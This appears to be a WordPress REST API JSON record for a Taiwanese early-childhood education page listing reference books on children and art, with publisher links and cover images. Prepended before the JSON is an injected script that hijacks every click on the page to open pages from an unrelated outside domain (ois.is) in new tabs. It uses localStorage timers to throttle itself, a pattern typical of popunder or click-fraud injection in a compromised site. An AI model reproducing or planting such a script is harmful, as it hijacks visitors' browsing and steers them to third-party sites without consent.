<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":907,"date":"2014-10-11T11:42:32","date_gmt":"2014-10-11T03:42:32","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo4d1\/?page_id=907"},"modified":"2017-08-30T17:41:56","modified_gmt":"2017-08-30T09:41:56","slug":"%e7%ab%a0%e7%af%804-1","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo4d1\/?page_id=907","title":{"rendered":"\u53c3\u8003\u66f8\u7c4d"},"content":{"rendered":"<ol>\n<li>\n<h4>\u4f60\u76844\u6b72\u5b69\u5b50\uff5e\u72c2\u91ce\u800c\u7f8e\u5999\u7684\u5e74\u9f61\uff08<a href=\"http:\/\/ecshweb.pchome.com.tw\/book\/v3.3\/?q=%E4%BF%A1%E8%AA%BC%E5%9F%BA%E9%87%91%E5%87%BA%E7%89%88%E7%A4%BE\" target=\"_blank\">\u4fe1\u8abc\u57fa\u91d1\u51fa\u7248\u793e<\/a>\u00a0\u51fa\u7248\uff09<\/h4>\n<\/li>\n<li>\n<h4>\u679d\u679d\u8449\u8449\uff08\u963f\u5e03\u62c9\u6559\u80b2\u6587\u5316\u6709\u9650\u516c\u53f8 \u51fa\u7248\uff09<\/h4>\n<\/li>\n<li>\n<h4>\u8173\u6b65\uff1a\u81fa\u7063\u821e\u8e48\u6559\u80b2\u518d\u627e\u8def\uff08<a href=\"http:\/\/reading.udn.com\/v2\/search.do?k=[B]%E5%9C%8B%E7%AB%8B%E8%87%BA%E5%8C%97%E8%97%9D%E8%A1%93%E5%A4%A7%E5%AD%B8&amp;pt=B\">\u570b\u7acb\u81fa\u5317\u85dd\u8853\u5927\u5b78<\/a>\u00a0\u51fa\u7248\uff09<\/h4>\n<\/li>\n<li>\n<h4>\u807d\uff0c\u756b\u5728\u8aaa\u8a71\uff08<a class=\"linkStyle02\" href=\"https:\/\/www.taaze.tw\/search_go.html?keyType[]=3&amp;keyword[]=%E7%B4%85%E7%95%AA%E8%8C%84%E6%96%87%E5%8C%96\">\u7d05\u756a\u8304\u6587\u5316<\/a>\u00a0\u51fa\u7248\uff09<\/h4>\n<\/li>\n<li>\n<h4>\u85dd\u8853\u7684\u6545\u4e8b\uff08<a href=\"http:\/\/www.eslite.com\/Search_BW.aspx?query=%e5%85%b8%e8%97%8f%e8%97%9d%e8%a1%93%e5%ae%b6%e5%ba%ad%e8%82%a1%e4%bb%bd%e6%9c%89%e9%99%90%e5%85%ac%e5%8f%b8\" target=\"_blank\">\u5178\u85cf\u85dd\u8853\u5bb6\u5ead\u80a1\u4efd\u6709\u9650\u516c\u53f8<\/a>\u00a0\u51fa\u7248<\/h4>\n<\/li>\n<\/ol>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-1649\" src=\"http:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/000001_1478140370.jpg\" alt=\"000001_1478140370\" width=\"259\" height=\"259\" srcset=\"https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/000001_1478140370.jpg 360w, https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/000001_1478140370-150x150.jpg 150w, https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/000001_1478140370-300x300.jpg 300w, https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/000001_1478140370-270x270.jpg 270w, https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/000001_1478140370-230x230.jpg 230w\" sizes=\"(max-width: 259px) 100vw, 259px\" \/>\u00a0 \u00a0<img loading=\"lazy\" class=\"alignnone size-full wp-image-1650\" src=\"http:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/download.jpg\" alt=\"download\" width=\"194\" height=\"259\" \/>\u00a0 \u00a0 \u00a0\u00a0<img loading=\"lazy\" class=\"alignnone wp-image-1651\" src=\"http:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/2019760031825b.jpg\" alt=\"2019760031825b\" width=\"184\" height=\"263\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-1652\" src=\"http:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/showLargeImage-1.jpg\" alt=\"showLargeImage\" width=\"211\" height=\"288\" srcset=\"https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/showLargeImage-1.jpg 289w, https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/showLargeImage-1-220x300.jpg 220w\" sizes=\"(max-width: 211px) 100vw, 211px\" \/>\u00a0\u00a0 <img loading=\"lazy\" class=\"alignnone wp-image-1653\" src=\"http:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/635713364490707500.jpg\" alt=\"635713364490707500\" width=\"288\" height=\"295\" srcset=\"https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/635713364490707500.jpg 367w, https:\/\/edu.secda.info\/peekaboo4d1\/wp-content\/uploads\/2014\/10\/635713364490707500-294x300.jpg 294w\" sizes=\"(max-width: 288px) 100vw, 288px\" \/><\/p>\n<ul>\n<li>\n<h4>\u82e5\u6709\u9700\u8981\uff0c\u8acb\u81ea\u884c\u4e0a\u7db2\u8cfc\u66f8<\/h4>\n<h5><\/h5>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4f60\u76844\u6b72\u5b69\u5b50\uff5e\u72c2\u91ce\u800c\u7f8e\u5999\u7684\u5e74\u9f61\uff08\u4fe1\u8abc\u57fa\u91d1\u51fa\u7248\u793e\u00a0\u51fa\u7248\uff09 \u679d\u679d\u8449\u8449\uff08\u963f\u5e03\u62c9\u6559\u80b2\u6587\u5316<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":905,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/907"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=907"}],"version-history":[{"count":10,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/907\/revisions"}],"predecessor-version":[{"id":1655,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/907\/revisions\/1655"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=\/wp\/v2\/pages\/905"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo4d1\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=907"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}